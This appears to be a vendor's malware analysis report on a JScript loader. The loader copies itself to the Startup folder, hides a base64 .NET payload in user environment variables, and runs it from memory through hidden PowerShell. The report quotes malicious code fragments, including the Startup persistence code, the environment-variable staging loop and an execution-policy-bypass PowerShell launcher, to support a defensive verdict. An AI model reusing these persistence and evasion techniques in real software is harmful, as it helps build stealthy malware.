Delphos Lantern scores #1 on BinaryAudit backdoor detection: by mean, peak, floor, and reproducibilityLearn more
Loader

JScript loader analysis: fake Microsoft.Win32.TaskScheduler.dll staged through environment variables

PersistenceDefense evasionExecution

Script · Oct 8, 2026

Verdict:Malicious
Confidence:High

Conclusion

This artifact set is a staged Windows loader. The extracted JScript file establishes persistence by copying itself into the user Startup folder, reconstructs a large embedded payload, stores that payload across user environment variables, and launches hidden PowerShell that loads a .NET assembly directly from memory. The recovered .NET payload is not a benign Task Scheduler library despite its name; it contains obfuscated logic, AES-based string decryption, and persistence routines that create scheduled tasks and write registry values.
Immediate safety implication: executing the script would give the attacker a persistent foothold in the user context and launch a second-stage .NET payload with additional hidden behavior.

Scope and Coverage

Uploaded root

  • 644b6c7e709235141bd95c6f27d59f9775e5a4e9a8991e93e54451c0b6d76e3e.zip — AES-encrypted ZIP per provided metadata.

Relevant children and derived artifacts

  • Extracted child: extracted/644b6c7e709235141bd95c6f27d59f9775e5a4e9a8991e93e54451c0b6d76e3e-ab7d31/644b6c7e709235141bd95c6f27d59f9775e5a4e9a8991e93e54451c0b6d76e3e.js
  • Safe inspection copy derived from the script: analysis_js_utf8.txt
  • Base64-decoded in-memory payload derived from the script: decoded_payload.bin

What was examined

  • Full extracted script logic after UTF-16 recovery.
  • The staged .NET payload’s type and method structure.
  • Key code paths in the .NET payload responsible for decryption and persistence.

Limits

  • I did not fully decrypt every string parameter passed into the .NET payload, so some exact labels, paths, and any network endpoints remain unresolved.
  • Because those strings are encrypted inside the .NET stage, any claim that specific C2 endpoints are absent would be unverifiable from the current coverage.

Artifact Relationships and Behavioral Sequence

  1. The ZIP contains a single large UTF-16 JScript file.
  1. The JScript runs under Windows Script Host and immediately copies itself into the user Startup folder for persistence.
  1. The script contains a very large embedded string (amygdal) with a repeated delimiter. It removes the delimiter, reconstructs base64, and chunks the result into P1, P2, ... environment variables under the user environment.
  1. The script builds a hidden PowerShell command (snowshoer) that:
      • concatenates those environment variables,
      • decodes them with [Convert]::FromBase64String(...)
      • loads the resulting bytes with [System.Reflection.Assembly]::Load(...)
      • invokes Win32.RMP.Cls_oAmJCOQZkL::Met_xfNzOIfysjEd(...) with many encrypted string arguments.
  1. Decoding that base64 yields decoded_payload.bin, a PE32 .NET DLL named Microsoft.Win32.TaskScheduler.dll that contains custom obfuscated logic, not just ordinary Task Scheduler library code.
  1. Inside the .NET payload, Win32.RMP.ConfiguracaoDescriptografia::DescriptografarEntradas AES-decrypts the supplied strings and dispatches them into multiple behavior branches, including persistence routines.

Key Findings

1. The JScript establishes startup persistence for itself

Direct evidence from analysis_js_utf8.txt:
var frolicked = grotty.SpecialFolders("Startup");
var exceptive = frolicked + "\\" + tiebacks.GetFileName(silex);
if (silex.toLowerCase() !== exceptive.toLowerCase()) {
    if (!tiebacks.FileExists(exceptive)) {
        tiebacks.CopyFile(silex, exceptive);
    }
}
This is a straightforward self-copy into the user Startup folder, a persistence mechanism that causes the script to run again on logon.

2. The JScript hides and stages a large second-stage payload through HKCU environment variables

From analysis_js_utf8.txt lines 120–131:
amygdal = amygdal.split("ᰨ↘🗾ⵯ৐ݺ⬍ኒ܋ͯᬌṛ│໱〄").join("");
...
for (bombsites = 0; bombsites < amygdal.length; bombsites += calibrators) {
    cellotaph = cellotaph + 1;
    biosyntheses = "P" + cellotaph;
    undetectably.Item(biosyntheses) = amygdal.substr(bombsites, calibrators);
    court = court + "$env:" + biosyntheses + "+";
}
The script reconstructs a base64 blob, then stores it as P1, P2, etc. in the user environment. That is not normal application behavior; it is a concealment and staging technique.

3. The script launches hidden PowerShell and loads a .NET assembly directly from memory

From analysis_js_utf8.txt lines 141–152, after removing the delimiter, the command resolves to a PowerShell launcher beginning with:
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$nucleates=...; $periphrase=[System.IO.MemoryStream][Convert]::FromBase64String($nucleates); [System.Reflection.Assembly]::Load($periphrase.ToArray())|Out-Null; [Win32.RMP.Cls_oAmJCOQZkL]::Met_xfNzOIfysjEd(...)
It is then executed via WMI Win32_Process.Create(...), with a fallback to WScript.Shell.Run(..., 0, true) if WMI fails. This is deliberate stealth and in-memory execution.

4. The staged payload is a custom, obfuscated .NET DLL masquerading as Microsoft.Win32.TaskScheduler

decoded_payload.bin was recovered by base64-decoding the script’s staged data. File type identifies it as:
  • PE32 executable ... Mono/.Net assembly
  • assembly name Microsoft.Win32.TaskScheduler
But code inspection shows custom namespaces and malware-style obfuscation, including:
  • Win32.RMP.Cls_oAmJCOQZkL
  • Win32.RMP.ConfiguracaoDescriptografia
  • many nonsensical class names and encrypted parameters
That mismatch between claimed identity and observed behavior is itself suspicious and supports malicious masquerading.

5. The .NET stage decrypts operational strings with AES before use

Win32.RMP.ConfiguracaoDescriptografia::DescriptografarEntradas(...) repeatedly calls GhRquY6zuK3af7eb8ST.YeFj61gpOS(...) to decrypt each incoming parameter before dispatching behavior.
The decryption helper contains explicit AES operations:
  • Aes.Create()
  • Convert.FromBase64String(...)
  • aes.Mode = CipherMode.CBC
  • aes.Padding = PaddingMode.PKCS7
  • aes.CreateDecryptor(aes.Key, aes.IV)
This is evidence of intentional string concealment, not ordinary transparent configuration handling.

6. The .NET stage contains additional persistence behavior through scheduled tasks and registry writes

Two downstream handlers reached from DescriptografarEntradas(...) are materially important:
Scheduled task creation
Microsoft.Win32.TaskScheduler.Class10.minutos(...) uses Task Scheduler COM and ends in:
  • taskService.NewTask(0u)
  • taskDefinition.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC)
  • folder.RegisterTaskDefinition(...)
This is code-backed scheduled-task persistence.
Registry-based persistence / launch wiring
IBftZN6jIB9MSbJeGld.XmVijQ66ewQlDrbtSni.FdK63kDpg1(...):
  • checks for an on-disk file path,
  • launches a hidden process with Process.Start(processStartInfo).WaitForExit();
  • opens a writable HKCU subkey with Registry.CurrentUser.OpenSubKey(..., writable: true)
  • writes a value with registryKey.SetValue(...)
The exact registry path/value name were still encrypted in the inspected view, but the persistence pattern itself is directly supported by code.

Alternative Explanations and Contrary Evidence

Alternative: benign installer or admin automation

A benign explanation would require the script and DLL to be performing legitimate setup or enterprise task automation.
Evidence against that explanation:
  • self-copy into Startup rather than transparent installation;
  • payload concealment in user environment variables (P1, P2, ...);
  • hidden PowerShell with ExecutionPolicy Bypass -WindowStyle Hidden;
  • in-memory assembly loading via Assembly.Load(...);
  • AES-encrypted string parameters and heavily obfuscated .NET code;
  • masquerading as Microsoft.Win32.TaskScheduler.dll while implementing unrelated custom logic.
Those features collectively fit a loader/persistence chain far better than legitimate administration tooling.

Contrary evidence

  • The recovered payload contains System.Net.Http / HttpClient strings, which suggests network-capable code exists somewhere in the assembly.
  • I did not fully trace that path to a concrete endpoint or execution path during this pass.
This unresolved detail does not weaken the malicious verdict, because the existing evidence already demonstrates unauthorized stealthy persistence and staged execution.

Unknowns

  • Exact decrypted configuration values: many operational strings are AES-encrypted and passed as arguments into Met_xfNzOIfysjEd(...). Fully resolving all of them would clarify precise file names, registry locations, and task names.
  • Concrete network behavior: System.Net.Http strings indicate possible network functionality, but endpoint and usage were not fully recovered here.
  • Full second-stage capability set: only the key loader, decryption, and persistence paths were needed to support classification. Other branches may add collection, download, or command execution behavior.
These unknowns affect completeness, not classification.

Verdict Rationale

This set is malicious because the relationship between its components is clear and harmful:
  • the script persists itself in Startup,
  • conceals a payload across user environment variables,
  • launches hidden PowerShell with execution-policy bypass,
  • loads a .NET assembly directly from memory,
  • and that assembly decrypts hidden strings before creating scheduled tasks and writing registry values.
That chain demonstrates stealth, staging, and persistence with no credible benign need for the combined behavior. Even without fully resolving every encrypted string, the observed behavior is sufficient for a high-confidence malicious verdict.

About Delphos Labs Analysis

The Delphos platform analyzes compiled binaries directly and produces structured behavioral intelligence reports within minutes. This lets analysts understand what a binary does without manual analysis.

Request Access
Back to all reports